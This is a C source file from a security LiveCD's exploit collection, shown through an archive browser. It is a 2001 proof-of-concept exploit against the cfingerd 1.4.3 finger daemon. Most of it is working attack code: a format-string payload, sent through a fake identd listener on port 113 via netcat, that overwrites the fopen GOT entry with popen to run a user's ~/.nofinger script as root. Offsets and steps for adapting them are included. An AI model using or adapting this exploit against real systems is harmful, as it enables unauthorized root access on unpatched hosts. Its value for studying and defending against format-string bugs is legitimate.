home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / finger / idcf.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  88 lines

  1. /************************************************************
  2.  
  3. http://www.infodrom.ffis.de/projects/cfingerd/ states:
  4.  
  5.   Cfingerd is a free and secure finger daemon replacement for 
  6.   standard finger daemons such as GNU fingerd or MIT fingerd.
  7.  
  8. April 11, 2001 Megyer Laszlo < abulla@freemail.hu > wrote:
  9.  
  10.   In 3 words: REMOTE ROOT VULNERABILITY
  11.  
  12.  
  13.    idcf.c - July 11 2001 - happy 3 month anniversary!
  14.  
  15.    
  16.    cfingerd 1.4.3 identd based localish exploit ;]
  17.    no shellcode required if you have a local account
  18.    make a script in ~/.nofinger that you want to be
  19.    executed as root.
  20.  
  21.    it works by diverting the fopen call to popen. of 
  22.    course it won't help if you don't already have a 
  23.    local account but well, its just a proof of concept 
  24.    and I think it's cute, and the more exploits there
  25.    are against an unpatched system, the more likely (I
  26.    hope) it will get patched. Would be nice if it worked
  27.    that way anyway.
  28.    
  29.    ./idcf|nc -l -p 113 
  30.    on a box you have root on, and finger you@otherhost
  31.    to use.
  32.  
  33.    this is hardcoded for four letter names, but shouldn't
  34.    require rocket science to make work for others.
  35.    Hint:  offset and padding : format strings are fun.
  36.  
  37.    
  38.  
  39.                    M4D PR0PZ T0 :
  40.  
  41.            Steven for showing me da bugz
  42.         noid 4 b3in6 7h3r3 wh3n no1 3153 w4z
  43.         grue 4 lurking,  g00bER 4 something
  44.      and the rest of #roothat @ irc.pulltheplug.com
  45.  
  46.        4150 70 mp3.com 4 http://mp3.com/cosv
  47.  
  48. ***********************************************************/
  49.  
  50. // The offsets are from a version i compiled just to
  51. // test the vulnerability and so will most likely not
  52. // work for you.
  53.  
  54. // get this from objdump -R cfingered|grep fopen
  55. #define OVER 0x0805532c
  56. // get this from objdump -R cfingerd|grep popen
  57. // and then gdb cfingerd  and x/x 0xoffset from objdump
  58. #define WITH 0x080491ba
  59.  
  60. #include <stdio.h>
  61. main(int argc,char*argv[])
  62. {
  63.  int z0=0,ovrw=OVER;    // address to overwrite with pass 1
  64.  int z1=0,ovrw1=OVER+2; // address to overwrite with pass 2
  65.  int slen=strlen("evil fingered from ")+9; 
  66.  int addr=WITH;         // what to overwrite the address with
  67.  int offset=20;         // where the first address is on the stack
  68.  int a1,a2;             
  69.  FILE *f;
  70.  f=fopen("/etc/motd","w+");
  71.  if(!f)
  72.  { 
  73.   fprintf("You must be root to use this exploit.\n");
  74.   exit(1);
  75.  }
  76.  a1=(addr&0x000ffff)-slen;                 // 1st number of bytes
  77.  a2=(0x10000+(addr>>16)-a1-slen)&0x0ffff;  // 2nd number of bytes
  78.  printf(":::A%s%s",&ovrw,&ovrw1);          // header/padding/addresses
  79.  printf("%%%ux%%%d$hn%%%ux%%%d$hn\n"       // formatstring itself
  80.         ,a1,offset,a2,offset+1); 
  81.  fprintf(stderr,"Visit http://mp3.com/cosv/ today!\n");
  82.  fprintf(stderr,"And mebe visit your account on the other machine.\n");
  83.  fprintf(stderr,"after you finger it.\n");
  84.  fprintf(f,"Visit http://mp3.com/cosv/ today!\n");
  85.  fclose(f);
  86.  
  87. }
  88.